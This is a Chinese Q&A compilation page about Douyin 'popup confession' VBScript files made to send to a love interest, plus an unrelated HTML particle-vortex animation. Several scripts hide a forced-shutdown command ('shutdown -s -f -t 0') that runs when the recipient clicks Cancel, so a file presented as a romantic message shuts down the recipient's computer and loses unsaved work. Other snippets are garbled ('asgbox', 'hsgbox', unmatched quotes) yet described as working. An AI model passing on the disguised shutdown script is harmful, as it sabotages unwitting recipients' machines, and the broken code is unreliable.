导航:首页 > 短视频 > 抖音弹窗代码

抖音弹窗代码

发布时间:2020-07-21 17:31:21

1、抖音弹窗代码怎么做

把你图片上代码抄下来试运行了一下。

发现有几处错误:

所有的双影号都是英文半角格式的,中文格式下的双引号和英文格式下的双引号不一样的,你仔细看看。

第四行和第六行中 then前面需要加一个空格,then是关键词来着前面需要添加一个空格

ifx=什么balabala的if和x中间也需要加空格,if也是关键字来着

第8行和第9行反斜杠 需要移动到双引号的内部

具体可以参考下图,带***的部分就是可以输出的汉字部分。

msgbox("***************")
msgbox("*********. ******** .. ************ ")
x=msgbox("*********************",VbOkCancel)
if x=VbOk then
msgbox("****************")
elseif x=VbCancel then
msgbox("*****************")
set ws=createobject("wscript.shell")
ws.run"cmd.exe/c shut down-s-f-t 0"
end if

2、抖音HTML龙卷风特效代码是啥?

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>粒子漩涡特效</title>
<style>
html,body{
margin:0px;
width:100%;
height:100%;
overflow:hidden;
background:#000;
}
#canvas{
position:absolute;
width:100%;
height:100%;
}
</style>
</head>
<body>
<canvas id="canvas"></canvas>
<script>
function project3D(x,y,z,vars){
var p,d;
x-=vars.camX;
y-=vars.camY-8;
z-=vars.camZ;
p=Math.atan2(x,z);
d=Math.sqrt(x*x+z*z);
x=Math.sin(p-vars.yaw)*d;
z=Math.cos(p-vars.yaw)*d;
p=Math.atan2(y,z);
d=Math.sqrt(y*y+z*z);
y=Math.sin(p-vars.pitch)*d;
z=Math.cos(p-vars.pitch)*d;
var rx1=-1000;
var ry1=1;
var rx2=1000;
var ry2=1;
var rx3=0;
var ry3=0;
var rx4=x;
var ry4=z;
var uc=(ry4-ry3)*(rx2-rx1)-(rx4-rx3)*(ry2-ry1);
var ua=((rx4-rx3)*(ry1-ry3)-(ry4-ry3)*(rx1-rx3))/uc;
var ub=((rx2-rx1)*(ry1-ry3)-(ry2-ry1)*(rx1-rx3))/uc;
if(!z)z=0.000000001;
if(ua>0&&ua<1&&ub>0&&ub<1){
return {
x:vars.cx+(rx1+ua*(rx2-rx1))*vars.scale,
y:vars.cy+y/z*vars.scale,
d:(x*x+y*y+z*z)
};
}else{
return { d:-1 };
}
}
function elevation(x,y,z){
var dist = Math.sqrt(x*x+y*y+z*z);
if(dist && z/dist>=-1 && z/dist <=1) return Math.acos(z / dist);
return 0.00000001;
}
function rgb(col){
col += 0.000001;
var r = parseInt((0.5+Math.sin(col)*0.5)*16);
var g = parseInt((0.5+Math.cos(col)*0.5)*16);
var b = parseInt((0.5-Math.sin(col)*0.5)*16);
return "#"+r.toString(16)+g.toString(16)+b.toString(16);
}
function interpolateColors(RGB1,RGB2,degree){
var w2=degree;
var w1=1-w2;
return [w1*RGB1[0]+w2*RGB2[0],w1*RGB1[1]+w2*RGB2[1],w1*RGB1[2]+w2*RGB2[2]];
}
function rgbArray(col){
col += 0.000001;
var r = parseInt((0.5+Math.sin(col)*0.5)*256);
var g = parseInt((0.5+Math.cos(col)*0.5)*256);
var b = parseInt((0.5-Math.sin(col)*0.5)*256);
return [r, g, b];
}
function colorString(arr){
var r = parseInt(arr[0]);
var g = parseInt(arr[1]);
var b = parseInt(arr[2]);
return "#"+("0" + r.toString(16) ).slice (-2)+("0" + g.toString(16) ).slice (-2)+("0" + b.toString(16) ).slice (-2);
}
function process(vars){
if(vars.points.length<vars.initParticles) for(var i=0;i<5;++i) spawnParticle(vars);
var p,d,t;
p = Math.atan2(vars.camX, vars.camZ);
d = Math.sqrt(vars.camX * vars.camX + vars.camZ * vars.camZ);
d -= Math.sin(vars.frameNo / 80) / 25;
t = Math.cos(vars.frameNo / 300) / 165;
vars.camX = Math.sin(p + t) * d;
vars.camZ = Math.cos(p + t) * d;
vars.camY = -Math.sin(vars.frameNo / 220) * 15;
vars.yaw = Math.PI + p + t;
vars.pitch = elevation(vars.camX, vars.camZ, vars.camY) - Math.PI / 2;
var t;
for(var i=0;i<vars.points.length;++i){
x=vars.points[i].x;
y=vars.points[i].y;
z=vars.points[i].z;
d=Math.sqrt(x*x+z*z)/1.0075;
t=.1/(1+d*d/5);
p=Math.atan2(x,z)+t;
vars.points[i].x=Math.sin(p)*d;
vars.points[i].z=Math.cos(p)*d;
vars.points[i].y+=vars.points[i].vy*t*((Math.sqrt(vars.distributionRadius)-d)*2);
if(vars.points[i].y>vars.vortexHeight/2 || d<.25){
vars.points.splice(i,1);
spawnParticle(vars);
}
}
}
function drawFloor(vars){
var x,y,z,d,point,a;
for (var i = -25; i <= 25; i += 1) {
for (var j = -25; j <= 25; j += 1) {
x = i*2;
z = j*2;
y = vars.floor;
d = Math.sqrt(x * x + z * z);
point = project3D(x, y-d*d/85, z, vars);
if (point.d != -1) {
size = 1 + 15000 / (1 + point.d);
a = 0.15 - Math.pow(d / 50, 4) * 0.15;
if (a > 0) {
vars.ctx.fillStyle = colorString(interpolateColors(rgbArray(d/26-vars.frameNo/40),[0,128,32],.5+Math.sin(d/6-vars.frameNo/8)/2));
vars.ctx.globalAlpha = a;
vars.ctx.fillRect(point.x-size/2,point.y-size/2,size,size);
}
}
}
}
vars.ctx.fillStyle = "#82f";
for (var i = -25; i <= 25; i += 1) {
for (var j = -25; j <= 25; j += 1) {
x = i*2;
z = j*2;
y = -vars.floor;
d = Math.sqrt(x * x + z * z);
point = project3D(x, y+d*d/85, z, vars);
if (point.d != -1) {
size = 1 + 15000 / (1 + point.d);
a = 0.15 - Math.pow(d / 50, 4) * 0.15;
if (a > 0) {
vars.ctx.fillStyle = colorString(interpolateColors(rgbArray(-d/26-vars.frameNo/40),[32,0,128],.5+Math.sin(-d/6-vars.frameNo/8)/2));
vars.ctx.globalAlpha = a;
vars.ctx.fillRect(point.x-size/2,point.y-size/2,size,size);
}
}
}
}
}
function sortFunction(a,b){
return b.dist-a.dist;
}
function draw(vars){
vars.ctx.globalAlpha=.15;
vars.ctx.fillStyle="#000";
vars.ctx.fillRect(0, 0, canvas.width, canvas.height);
drawFloor(vars);
var point,x,y,z,a;
for(var i=0;i<vars.points.length;++i){
x=vars.points[i].x;
y=vars.points[i].y;
z=vars.points[i].z;
point=project3D(x,y,z,vars);
if(point.d != -1){
vars.points[i].dist=point.d;
size=1+vars.points[i].radius/(1+point.d);
d=Math.abs(vars.points[i].y);
a = .8 - Math.pow(d / (vars.vortexHeight/2), 1000) * .8;
vars.ctx.globalAlpha=a>=0&&a<=1?a:0;
vars.ctx.fillStyle=rgb(vars.points[i].color);
if(point.x>-1&&point.x<vars.canvas.width&&point.y>-1&&point.y<vars.canvas.height)vars.ctx.fillRect(point.x-size/2,point.y-size/2,size,size);
}
}
vars.points.sort(sortFunction);
}
function spawnParticle(vars){
var p,ls;
pt={};
p=Math.PI*2*Math.random();
ls=Math.sqrt(Math.random()*vars.distributionRadius);
pt.x=Math.sin(p)*ls;
pt.y=-vars.vortexHeight/2;
pt.vy=vars.initV/20+Math.random()*vars.initV;
pt.z=Math.cos(p)*ls;
pt.radius=200+800*Math.random();
pt.color=pt.radius/1000+vars.frameNo/250;
vars.points.push(pt);
}
function frame(vars) {
if(vars === undefined){
var vars={};
vars.canvas = document.querySelector("canvas");
vars.ctx = vars.canvas.getContext("2d");
vars.canvas.width = document.body.clientWidth;
vars.canvas.height = document.body.clientHeight;
window.addEventListener("resize", function(){
vars.canvas.width = document.body.clientWidth;
vars.canvas.height = document.body.clientHeight;
vars.cx=vars.canvas.width/2;
vars.cy=vars.canvas.height/2;
}, true);
vars.frameNo=0;
vars.camX = 0;
vars.camY = 0;
vars.camZ = -14;
vars.pitch = elevation(vars.camX, vars.camZ, vars.camY) - Math.PI / 2;
vars.yaw = 0;
vars.cx=vars.canvas.width/2;
vars.cy=vars.canvas.height/2;
vars.bounding=10;
vars.scale=500;
vars.floor=26.5;
vars.points=[];
vars.initParticles=700;
vars.initV=.01;
vars.distributionRadius=800;
vars.vortexHeight=25;
}
vars.frameNo++;
requestAnimationFrame(function() {
frame(vars);
});
process(vars);
draw(vars);
}
frame();
</script>
</body>
</html>

3、表白怎么制作 抖音弹窗表白制作方法一览

      情人节快到了,大家知道怎么制作抖音表白对话框吗?我们为你准备了制作的教程,希望可以帮助到你哦! 

     1、打开电脑,在桌面右击鼠标“新建文本文档”,

      2、打开文本,输入msgbox+文字(所有符号必须是英文符号),

      3、点击“保存”,

      4、右击鼠标,选择“重命名”,

      5、把文本后缀名txt改成vbs,点击“是”,

      6、点击文档即可。

     通过以上操作,就可以制作抖音表白对话框,更多相关教程,都可以在软件帝找到哦!

4、抖音弹窗表白整蛊是怎么弄的 抖音表白代

抖音DJ很火的表白整蛊软件是最近在DJ抖音网上非常火的一种整蛊玩法,在小哥哥或者小姐姐的电脑屏幕上使用该功能表白,非常有创意也很可爱,喜欢的可来西西学习dj抖音网很火的表白整蛊软件的使用方法!
使用方法
直接在电脑上打开一个记事本
输入一下内容
asgbox(“做我女朋友好吗?”)
hsgbox(\"房产证上写称名”)
asgbox(\"保大”)
hsgbox(\"我妈会游泳)1
文字可以任意输入
保存在桌面上
将记事本的后缀改成.vbs,打开文本即可跳出对话框界面

5、抖音上的表白代码是什么 抖音表白代码怎么写

以前大家总说工科生不懂浪漫,但最近DJ抖音网很流行用代码来表白,将代码编写好,然后将文档发给要表白的对象,然后就可以等着对方进入你的表白套路了。其实这是弹窗表白的代码不是很复杂,一般人按照步骤来都可以做到,下面就来看看具体的步骤:
1、KS97新建一个文本 输入代码
2、鼠标左键点击文本左上角文件,再点击另存为。
3、点击后会弹出以下窗口,文件名改成:表白示例.vbs,保存类型改为:所有文件,然后点击确定。
4、点击确定后,完成制作,电脑桌面上会显示一个vbs文件。鼠标左键双击单开刚才保存vbs文件,就会像抖音里面的一样了。
抖音表白代码怎么写
方法一
msgbox("做我女朋友好吗?")
msgbox("房产证写你名字...")
msgbox("保大...")
msgbox("我妈会游泳..")
x=msgbox("做我女朋友好不好",VbOkCancel)
if x=VbOk then
msgbox("爱你,么么哒")
elseif x=VbCancel then
msgbox("哼,再见")
set ws=createobject("wscript.shell")
ws.run"cmd.exe /cshutdown-s -f -t 0"
end if
使用方法:将第一段示例或者第二段示例复制到一个新建的文本文档中,保存。然后修改文本文档的后缀为vbs,如果会弹出如下面的弹窗,就表明成功了。大家可以随意修改里面的字,也可以加更多段msgbox带括号的那种。
方法二
直接在电脑上打开一个记事本
输入一下内容
asgbox(“做我女朋友好吗?”)
hsgbox("房产证上写称名”)
asgbox("保大”)
hsgbox("我妈会游泳)1
文字可以任意输入
保存在桌面上
将记事本的后缀改成.vbs,效果如下图,打开文本即可跳出对话框界面

6、抖音突然弹出对话框?对话框里面内容是网址以及数字代码?

写个不是抖音弹窗,可能手机中毒了或者是假的软件,赶紧卸了在应用商店下正版软件,上面网址不是都行,弹窗都是个人信息,点击OK就全泄露了

7、投放抖音广告,要添加追踪代码,请问在后台哪里可以添加呢?

把追踪代码放到网站代码的<head></head>的头部代码里就可以了;然后生成刷新一下就可以看到了;如果你用网络统计或站长统计就系统里有教程!

8、抖音上的表白代码是什么 抖音表白代码方法介绍

以前大家总说工科生不懂浪漫,但最近DJ抖音网很流行用代码来表白,将代码编写好,然后将文档发给要表白的对象,然后就可以等着对方进入你的表白套路了。其实这是弹窗表白的代码不是很复杂,一般人按照步骤来都可以做到,下面就来看看具体的步骤:
1、KS97新建一个文本 输入代码
2、鼠标左键点击文本左上角文件,再点击另存为。
3、点击后会弹出以下窗口,文件名改成:表白示例.vbs,保存类型改为:所有文件,然后点击确定。
4、点击确定后,完成制作,电脑桌面上会显示一个vbs文件。鼠标左键双击单开刚才保存vbs文件,就会像抖音里面的一样了。
抖音表白代码怎么写
方法一
msgbox("做我女朋友好吗?")
msgbox("房产证写你名字...")
msgbox("保大...")
msgbox("我妈会游泳..")
x=msgbox("做我女朋友好不好",VbOkCancel)
if x=VbOk then
msgbox("爱你,么么哒")
elseif x=VbCancel then
msgbox("哼,再见")
set ws=createobject("wscript.shell")
ws.run"cmd.exe /cshutdown-s -f -t 0"
end if
使用方法:将第一段示例或者第二段示例复制到一个新建的文本文档中,保存。然后修改文本文档的后缀为vbs,如果会弹出如下面的弹窗,就表明成功了。大家可以随意修改里面的字,也可以加更多段msgbox带括号的那种。
方法二
直接在电脑上打开一个记事本
输入一下内容
asgbox(“做我女朋友好吗?”)
hsgbox("房产证上写称名”)
asgbox("保大”)
hsgbox("我妈会游泳)1
文字可以任意输入
保存在桌面上
将记事本的后缀改成.vbs,效果如下图,打开文本即可跳出对话框界面
简短的表白语
1、和你在一起只是我不想给任何人机会。
2、请你当我手心里的宝。
3、如果有幸福,我让它有声有色地蔓延!。
4、假如我变成黄土,黄土也爱着你;假如黄土上长满青草,青草也爱着你;假如青草上挂满露珠,露珠也爱着你。
5、好笑吗 身边没你,好怪,陪我一生一世好吗?
6、这辈子没缘,下辈子一定要投胎在一起。
7、玫瑰开在九月里,我的心中只有你,好想和你在一起,没有什么送给你,只有一句我爱你!
8、我爱月,爱它纯,爱它明,爱它圆。我爱你,爱你真,爱你善,爱你美。
9、如果有幸福,我让它有声有色地蔓延! 如果有忧伤,我把它无声无息地吹散。
10、假如你是我梦中那只收桅待泊的船,我愿是那静静的湾,荡着轻柔的浪,舒展着迷人的滩。
11、他的幸福里没有我的位置我的幸福里只有他。
12、我想要一个拥抱,但是你的拥抱或许永远也不属于我。
13、如果有幸福,我让它有声有色地蔓延!
14、不知道爱你算不算是一个贴心的理由
15、做不了你的影子,就让我做一阵风萦绕在你的身边。
16、梦见你忘却疲惫,想你想得无法入睡,别说你还无所谓,收下我的红玫瑰,你不爱我是你不对!
17、我们太善良连自己都骗不过我爱你说未来很长一切难讲。
18、如果有忧伤,我把它无声无息地吹散。
19、宝贝吾爱,我的心与你同在;你的心跳连着我的血脉,你的步伐是我生命的节拍;即使所有的都化作尘埃,我也永不言败 。
20、不知道爱你算不算是一个贴心的理由?
21、我想要和你一起慢慢变老。

9、抖音弹窗表白代码怎么写 弹窗表白制作方法

情人节快到了,大家知道怎么制作抖音表白对话框吗?软件帝官网www.ruanjiandi.com为你准备了制作的教程,希望可以帮助到你哦!

      1、打开电脑,在桌面右击鼠标“新建文本文档”,

      2、打开文本,输入msgbox+文字(所有符号必须是英文符号),

      3、点击“保存”,

      4、右击鼠标,选择“重命名”,

      5、把文本后缀名txt改成vbs,点击“是”,

      6、点击文档即可。

     通过以上操作,就可以制作抖音表白对话框,更多相关教程,都可以在软件帝找到哦!

10、抖音发的vbs怎么做的

需要工具:电脑

一、首先,现在桌面新建一个TXT文本文档,鼠标右键,依次选择新建、文本文档,如下图。

二、打开该文档,在其中输入msgbox,后面加上括号和引号,注意,这里的字符都是英文格式,若是中文会不成功哦。

三、接着,可以多输入几行,其中引号内的中文需要自己想,感人也好,搞笑也好,都可以。

四、然后,点击上方菜单栏文件、保存。

五、可以重命名一下,比如写个【惊喜哦】。

六、然后,将当前的TXT扩展名修改成VBS,可以看到文件样子,出现变化了。

七、鼠标双击该文件,神奇的一幕出现了,一直有对话框提示出来,跟刚才在文本中输入的一样。

与抖音弹窗代码相关的知识